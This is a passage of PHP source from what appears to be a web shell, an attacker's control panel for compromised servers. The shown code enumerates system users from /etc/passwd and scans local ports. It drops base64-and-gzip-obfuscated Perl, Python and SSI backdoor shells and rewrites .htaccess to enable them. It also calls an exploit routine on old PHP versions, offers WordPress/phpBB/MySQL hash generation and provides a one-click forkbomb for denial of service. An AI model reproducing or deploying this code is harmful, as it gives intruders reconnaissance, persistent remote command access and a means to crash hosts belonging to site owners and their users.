1711 if (function_enabled('php_uname')) {
1712 echo "php_uname: ".wordwrap(php_uname(),90,"<br>",1)."<br>";
1713 }
1714 if (function_enabled('posix_uname')) {
1715 echo "posix_uname: ";
1716 foreach(posix_uname() AS $key=>$value) {
1717 print $value." ";
1718 }
1719 echo "<br>";
1720 }
1721 echo "script owner: ";
1722 if (function_enabled('get_current_user')) {
1723 echo get_current_user();
1724 } else {
1725 echo "get_current_user() disabled!";
1726 }
1727 if (function_enabled('getmyuid')) {
1728 echo " || uid: ".getmyuid().",";
1729 } else {
1730 echo " getmyuid() disabled,";
1731 }
1732 if (function_enabled('getmygid')) {
1733 echo " gid: ".getmygid();
1734 } else {
1735 echo " getmygid disabled";
1736 }
1737 if (extension_loaded('posix')) {
1738 echo "<br>current user:";
1739 if (function_enabled('posix_getuid')) {
1740 if (function_enabled('posix_getpwuid')) {
1741 $processUser = posix_getpwuid(posix_getuid());
1742 echo $processUser['name'];
1743 } else {
1744 echo " posix_getpwuid() disabled!";
1745 }
1746 echo " || uid: ".posix_getuid().",";
1747 if (function_enabled('posix_getgid')) {
1748 echo " gid: ".posix_getgid();
1749 } else {
1750 echo " posix_getgid() disabled";
1751 }
1752 } else {
1753 echo " posix_getuid() disabled!";
1754 }
1755 echo "<br>effective user:";
1756 if (function_enabled('posix_geteuid')) {
1757 if (function_enabled('posix_getpwuid')) {
1758 $processUser = posix_getpwuid(posix_getuid());
1759 echo $processUser['name'];
1760 } else {
1761 echo " posix_getpwuid() disabled!";
1762 }
1763 echo " || euid: ".posix_geteuid();
1764 if (function_enabled('posix_getegid')) {
1765 echo " egid: ".posix_getegid();
1766 } else {
1767 echo ", posix_getegid() disabled";
1768 }
1769 } else {
1770 echo " posix_geteuid() disabled!";
1771 }
1772 } else {
1773 echo "<br>posix.so not loaded, can't get user information";
1774 }
1775 echo "</div><br><br>";
1776 echo '<font color="blue">---> Extraz</font><br><br>';
1777 if (!function_enabled('phpinfo')) { echo "fail, phpinfo() is disabled<br><br>";
1778 } else {
1779 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="pi"><input type="submit" value="phpinfo()"></form><br>';
1780 }
1781 if(function_enabled('posix_getpwuid')) {
1782 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"read" /etc/passwd from uid <input name="uid1" type="text" size="10" value="0"> to <input name="uid2" type="text" size="10" value="1000"> <input type="submit" value="go"><input name="uidz" type="hidden" value="done"></form><input name="p" type="hidden" value="e">';
1783 if (!empty($_POST["uidz"])) {
1784 echo "<br>";
1785 //code by oRb
1786 for(;$_POST['uid1'] <= $_POST['uid2'];$_POST['uid1']++) {
1787 $uid = @posix_getpwuid($_POST['uid1']);
1788 if ($uid)
1789 echo join(':',$uid)."<br>\n";
1790 }
1791 }
1792 }
1793 echo "<br>";
1794 if(function_enabled('fsockopen')) {
1795 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"scan" local open ports from <input name="port1" type="text" size="5" maxlength="5" value="1"> to <input name="port2" type="text" size="5" maxlength="5" value="1337"> <input type="submit" value="go"><input name="portz" type="hidden" value="done"><input name="p" type="hidden" value="e"></form>';
1796 if (!empty($_POST["portz"])) {
1797 for($i=$_POST["port1"]; $i <= $_POST["port2"]; $i++)
1798 {
1799 $fp=@fsockopen("127.0.0.1", $i, $errno, $errstr, 1);
1800 if ($fp) {
1801 echo "-> ".$i."<br>";
1802 fclose($fp);
1803 }
1804 }
1805 }
1806 }
1807 echo '<br><a href="#" onclick="showTooltip(5)" id="link5"> >> minishells help << </a>
1808 <div id="5" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1809 echo 'sometimes CGI and SSI are not disabled globally on the server, so you could use CGI or SSI shell. but to enable CGI/SSI you need to use special .htaccess files.<br>CGI:<br><textarea cols="44" rows="2">'.$htaccesses['cgi'].'</textarea><br><br>SSI:<br><textarea cols="44" rows="4">'.$htaccesses["ssi"].'</textarea><br><br><b>warning:</b> using custom .htaccess could break this site! (it could result in error 500). <br>it is recommended to create new dir and place custom .htaccess and minishells there.<br><br>//thanks to profexer for SSI shell and to Michael Foord for python shell</div>';
1810 if (file_exists(".htaccess")) {
1811 echo '<br>WARNING: my .htaccess will <b>rewrite</b> current one!';
1812 }
1813 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini perl shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.pl"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="perlsh"><input name="p" type="hidden" value="e"> ';
1814 if (is_writable("./")) {
1815 echo "<font color=\"green\">(./ writable)</font>";
1816 } else {
1817 echo "<font color=\"red\">(./ readonly)</font>";
1818 }
1819 echo '</form>';
1820 if ($failflag=="1") {
1821 echo "can't find perl binary (all system functions disabled) assuming /usr/bin/perl<br>";
1822 }
1823 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini python shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.py"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="pysh"><input name="p" type="hidden" value="e"> ';
1824 if (is_writable("./")) {
1825 echo "<font color=\"green\">(./ writable)</font>";
1826 } else {
1827 echo "<font color=\"red\">(./ readonly)</font>";
1828 }
1829 echo '</form>';
1830 if ($failflag=="1") {
1831 echo "can't find python binary (all system functions disabled) assuming /usr/bin/python<br>";
1832 }
1833 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini SSI shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="index.shtml"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="ssish"><input name="p" type="hidden" value="e"> ';
1834 if (is_writable("./")) {
1835 echo "<font color=\"green\">(./ writable)</font>";
1836 } else {
1837 echo "<font color=\"red\">(./ readonly)</font>";
1838 }
1839 echo '</form>';
1840 echo '<br>';
1841 //code by Eric A. Meyer, license CC BY-SA
1842 echo '<script type="text/javascript">function encode() { var obj = document.getElementById("dencoder"); var unencoded = obj.value; obj.value = encodeURIComponent(unencoded); } function decode() { var obj = document.getElementById("dencoder"); var encoded = obj.value; obj.value = decodeURIComponent(encoded.replace(/\+/g, " ")); } </script>';
1843 echo "<font color='blue'>---> Text encoderz/decoderz</font><br><br>";
1844 echo "fast URL-encoder:<br>";
1845 echo '<form onsubmit="return false;" action="javascript;"><textarea cols="80" rows="4" id="dencoder"></textarea><div><input type="button" onclick="decode()" value="Decode"> <input type="button" onclick="encode()" value="Encode"></div></form>';
1846 echo "<br>other encoders: ";
1847 $cryptform="<form action=\"".$_SERVER['PHP_SELF']."\" method=\"post\">
1848 <input name=\"p\" type=\"hidden\" value=\"e\">
1849 <textarea name=\"text\" cols=\"80\" rows=\"4\">";
1850 if(isset($_POST["text"])) {
1851 $cryptform.=$_POST["text"];
1852 $hash=$_POST['hash'];
1853 $hash1=$_POST['hash1'];
1854 $hash2=$_POST['hash2'];
1855 } else {
1856 $hash=genSalt('zxcv',8);
1857 $hash1=genSalt('zxcv',8);
1858 $hash2=genSalt('zxcv',6,1);
1859 }
1860 $cryptform.="</textarea><br>
1861 <select name=\"cryptmethod\">
1862 <option value=\"asc2hex\"".($_POST["cryptmethod"] == "asc2hex"?" selected":"").">ASCII to Hex</option>
1863 <option value=\"hex2asc\"".($_POST["cryptmethod"] == "hex2asc"?" selected":"").">Hex to ASCII</option>
1864 <option value=\"b64enc\"".($_POST["cryptmethod"] == "b64enc"?" selected":"").">Base64 Encode</option>
1865 <option value=\"b64dec\"".($_POST["cryptmethod"] == "b64dec"?" selected":"").">Base64 Decode</option>
1866 <option value=\"crypt\"".($_POST["cryptmethod"] == "crypt"?" selected":"").">DES</option>
1867 <option value=\"entityenc\"".($_POST["cryptmethod"] == "entityenc"?" selected":"").">HTML Entities Encode</option>
1868 <option value=\"entitydec\"".($_POST["cryptmethod"] == "entitydec"?" selected":"").">HTML Entities Decode</option>
1869 <option value=\"md5\"".($_POST["cryptmethod"] == "md5"?" selected":"").">MD5</option>
1870 <option value=\"md5md5\"".($_POST["cryptmethod"] == "md5md5"?" selected":"").">MD5(MD5)</option>
1871 <option value=\"md5unix\"".($_POST["cryptmethod"] == "md5unix"?" selected":"").">MD5(Unix - \$1\$)</option>
1872 <option value=\"md5wp\"".($_POST["cryptmethod"] == "md5wp"?" selected":"").">MD5(WordPress - \$P\$B)</option>
1873 <option value=\"md5bb\"".($_POST["cryptmethod"] == "md5bb"?" selected":"").">MD5(PHPBB3 - \$H\$9)</option>
1874 <option value=\"md5apr\"".($_POST["cryptmethod"] == "md5apr"?" selected":"").">MD5(APR1 - \$apr1\$)</option>
1875 <option value=\"blowfish\"".($_POST["cryptmethod"] == "blowfish"?" selected":"").">Blowfish - \$2a\$</option>
1876 <option value=\"sha1\"".($_POST["cryptmethod"] == "sha1"?" selected":"").">SHA1</option>
1877 <option value=\"sha256\"".($_POST["cryptmethod"] == "sha256"?" selected":"").">SHA256 - \$5\$</option>
1878 <option value=\"sha512\"".($_POST["cryptmethod"] == "sha512"?" selected":"").">SHA512 - \$6\$</option>
1879 <option value=\"mysql4\"".($_POST["cryptmethod"] == "mysql4"?" selected":"").">MySQL4</option>
1880 <option value=\"mysql5\"".($_POST["cryptmethod"] == "mysql5"?" selected":"").">MySQL5</option>
1881 </select> salt: <input type=\"text\" name=\"hash\" size=\"9\" maxlength=\"8\" value=\"".$hash."\"> <input type=\"text\" name=\"hash1\" size=\"9\" maxlength=\"8\" value=\"".$hash1."\"> <input type=\"text\" name=\"hash2\" size=\"7\" maxlength=\"6\" value=\"".$hash2."\"> <font color=\"gray\">(salt needed for: md5(unix,wordpress,phpbb3,apr1) - 8 symbols, sha(256,512) - 16 symbols, and blowfish - 22 symbols. ignore these fields if you use other algorithms)</font><br>
1882 <input type=\"submit\" name=\"crypt\" value=\"go\">
1883 </form>";
1884 echo $cryptform;
1885 if(isset($_POST['crypt'])) {
1886 $text=$_POST['text'];
1887 if($text == '') {
1888 die("<p>empty form</p>\n".$pageend."");
1889 }
1890 $hash=$_POST['hash'];
1891 $hash1=$_POST['hash1'];
1892 $hash2=$_POST['hash2'];
1893 echo("--><br><textarea cols=\"80\" rows=\"4\">");
1894 switch ($_POST['cryptmethod']) {
1895 case "asc2hex":
1896 $text=asc2hex($text);
1897 break;
1898 case "hex2asc":
1899 $text=hex2asc($text);
1900 break;
1901 case 'b64enc':
1902 $text=base64_encode($text);
1903 break;
1904 case 'b64dec':
1905 $text=base64_decode($text);
1906 break;
1907 case 'crypt':
1908 $text=crypt($text,'CRYPT_STD_DES');
1909 break;
1910 case 'entityenc':
1911 $text=entityenc($text);
1912 break;
1913 case 'entitydec':
1914 $text=entitydec($text);
1915 break;
1916 case 'md5':
1917 $text=md5($text);
1918 break;
1919 case 'md5md5':
1920 $text=md5(md5($text));
1921 break;
1922 case 'md5unix':
1923 $text=unap($text,$hash,'$1$');
1924 break;
1925 case 'md5wp':
1926 $text=phpass($text,$hash,8192,'$P$B');
1927 break;
1928 case 'md5bb':
1929 $text=phpass($text,$hash,2048,'$H$9');
1930 break;
1931 case 'md5apr':
1932 $text=unap($text,$hash,'$apr1$');
1933 break;
1934 case 'sha1':
1935 $text=sha1($text);
1936 break;
1937 case 'sha256':
1938 $text=crypt($text,'$5$'.$hash.$hash1);
1939 break;
1940 case 'sha512':
1941 $text=crypt($text,'$6$'.$hash.$hash1);
1942 break;
1943 case 'blowfish':
1944 $text=crypt($text,'$2a$07$'.$hash.$hash1.$hash2);
1945 break;
1946 case 'mysql4':
1947 $text=mysql4($text);
1948 break;
1949 case 'mysql5':
1950 $text='*'.strtoupper(sha1(sha1($text,TRUE)));
1951 break;
1952 }
1953 $text=htmlentities($text);
1954 echo("$text</textarea><br>");
1955 }
1956 //decoders end
1957 echo '<br><br><font color="blue">---> DoS</font><font color="gray"> //use this carefully</font><br><br>';
1958 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="e"><input name="extraz" type="hidden" value="fork"><input type="submit" value="forkbomb"></form>';
1959 echo $pageend;
1960 }
1961 if (!empty($_POST["extraz"])) {
1962 switch ($_POST["extraz"]) {
1963 case "fork":
1964 while(pcntl_fork()|1);
1965 break;
1966 case "pysh":
1967 //code by Michael Foord & 12309, license WTFPL
1968 if ($failflag=="1") {
1969 $pybin="/usr/bin/python";
1970 } else {
1971 $pybin=search("python",$failflag);
1972 }
1973 $pyshcode='#!'.$pybin;
1974 $pyshcode.="\n";
1975 $pyshcode.=gzinflate(base64_decode("bVRRT9swEH7Pr7jlpa0IKWObtLGmUoEClWBFbR82QRW5idNaS+LIdqBl2n/fnZ10BfGU3N33fXc+n8+o3ZkHoqikMpCshVl9d5+Ql2yV827P49uEVwZRFdPaa6B6pwMCBiC1h0aoTcqVgggaQ9bGy5QswIiCtwm0URnZrYpRLOErlvx20LlRolxPpi28tRuhFtyGK4yaGMvzRIZlYMVPQsky3DAd/+a7rj+/mE3uF/GP0d3Y7+EBdKJEZUqGBUUHhIdXwKXHc83fon3fS3kGa24yqYruE8trngttAjAbTq4ASmkqxTUvTdTpULqUGYbUP389QARkgucpiBL2ZMQAlo7EVmVfuwWTCFiZB2svUe1/Fow1lVoVMLuKdxudBt+DD5HzPyyd2Bu11/DQVkawvbArViO0YFU3Z8UqZbA9g63DBm8Ueu/kcAoeKG5qVdqg17A2nKW2uf7gZnF3OxzcjEeXw8FisrgdD9ELR4e3cERAOAYGF9cTWO3gqn552RWsDKCuUJan5Px4+unk26DvNAZ9p3g+vfxFgt5KpjteUtLOoG+9CKHUHQ/HF0viWtvg+XAuC242OIDwjN2GZ5yUNXJQbDYc3M/GSMG2xzHVFscQISuOCybKOO7Qa6HpBP9Clgbpx3QLZ2D41vQ3psj9BmBHo8CM+JbCK2rZ3EjF1vTw2gFqh+6hkxRpZxmQgVHsIdoYt+12sTbtQX+91mgafTWd3cHdeHEzvYwe/fvpfPHoA0uMkGX0fsuHA1FWtQHyIAUTIYPOgwYdCC0tXsj6fPLou/44RgPS9aoQBLOjgI5r2eL6VI69mdeVezTS7oQ0hy5Gt9IJGndgb9CpLMY/F6PZeASJzHXkfz3xQcln/Dv94uM14duwaw4g2Yg8jXE9CRyavYG7yi2ESla8PO26BL03hDDJpbb3AjjLus6JdKgRKmx39zWN3Ac8dw7HpvdrVyuM7QcvIAD36hxsP5DkyjBZuw8PtGj94bLIeZRZJ81LFuLE2FZ3e6GucmFyUXLtWLSJyKRFxNwTd9nIedDpfttT6p9zNm/H+wc="));
1976 $htaccess=$htaccesses['cgi'];
1977 if (strnatcmp(version(),"5.2.9") <= 0) {
1978 sploent516();
1979 }
1980 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
1981 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
1982 else {
1983 fwrite($fh,$pyshcode);
1984 fclose($fh);
1985 echo $_POST["file"]." write done, chmoding..<br>";
1986 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
1987 if (!$ch) {
1988 echo "chmod failed, make chmod 755 manually<br>";
1989 } else {
1990 echo "chmod done<br>";
1991 }
1992 if ($_POST["htaccess"] == "on") {
1993 $fh=fopen($_POST["dir"]."/.htaccess","w");
1994 fwrite($fh,$htaccess);
1995 fclose($fh);
1996 echo "htaccess done";
1997 }
1998 }
1999 break;
2000 case "perlsh":
2001 //author/license unknown
2002 if ($failflag=="1") {
2003 $perlbin="/usr/bin/perl";
2004 } else {
2005 $perlbin=search("perl",$failflag);
2006 }
2007 $perlshcode='#!'.$perlbin;
2008 $perlshcode.="\n";
2009 $perlshcode.=gzinflate(base64_decode("TVFLTwIxEL73V4wNMSXZFdSYGBY2QQ7E+DioRxKtu7PSpNuubRdQ5L87XYR4m3bme8w3rUeYzW/hcz1IjX3dLEOtYeSDNKV05SBj7X5gNJpJ19CYqGSQ2r/YG2fXHl0/Y41TJsASZYlOpMVSOo8BJjnwNlTpNe8njAhdeI3kItXSfHRd1/IE0qCCxu7NiUtVIKCRTtaiD33YsvoLeiuY/P3xFT8K9lYJ8PG7yxeGZ91cUDXalqThcpgxbQupofd8O99O758edvTt23fYQqEtLXU3fTwwcSCCUiHwPwaewS5jvUaVBLINGkHTpEZOLvLTc/iJLjpAIc0bWTk5IxPQGo3eg4hAGsAV6W+Z1NLV4mDuaL+zPg64oWhQQmG1nyz49XDBISZL9cXVgufkbL1UGgWMyUMeM4GOgCwemQYHmjySEmSvOSSxf8vu2AGxP0dlXZ2wCK0U6lKkRtY4ySljOotX31RTkFTTHi3uL5TEDGsVBJ/beFg0ZUcDVHT3pbU31I7Svw=="));
2010 $htaccess=$htaccesses['cgi'];
2011 if (strnatcmp(version(),"5.2.9") <= 0) {
2012 sploent516();
2013 }
2014 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
2015 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
2016 else {
2017 fwrite($fh,$perlshcode);
2018 fclose($fh);
2019 echo $_POST["file"]." write done, chmoding..<br>";
2020 $ch=chmod($_POST["dir"]."/".$_POST["file"], 0755);
2021 if (!$ch) {
2022 echo "chmod failed, make chmod 755 manually<br>";
2023 } else {
2024 echo "chmod done<br>";
2025 }
2026 if ($_POST["htaccess"] == "on") {
2027 $fh=fopen($_POST["dir"]."/.htaccess","w");
2028 fwrite($fh,$htaccess);
2029 fclose($fh);
2030 echo "htaccess done";
2031 }
2032 }
2033 break;
2034 case "ssish":
2035 // code by profexer
2036 $ssishcode=gzinflate(base64_decode("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"));
2037 $htaccess=$htaccesses['ssi'];
2038 if (strnatcmp(version(),"5.2.9") <= 0) {
2039 sploent516();
2040 }
2041 $fh=fopen($_POST["dir"]."/".$_POST["file"],"w");
2042 if (!$fh) { echo "can`t fopen ".$_POST["dir"]."/".$_POST["file"]."!"; }
2043 else {
2044 fwrite($fh,$ssishcode);
2045 fclose($fh);
2046 echo $_POST["file"]." write done<br>";
2047 if ($_POST["htaccess"] == "on") {
2048 $fh=fopen($_POST["dir"]."/.htaccess","w");
2049 fwrite($fh,$htaccess);
2050 fclose($fh);
2051 echo "htaccess done";
2052 }
2053 }
2054 break;
2055 }
2056 }
2057 break;
2058// extras end ###
2059 case "pi":
2060 phpinfo();
2061 break;
2062}
2063// :)
2064?>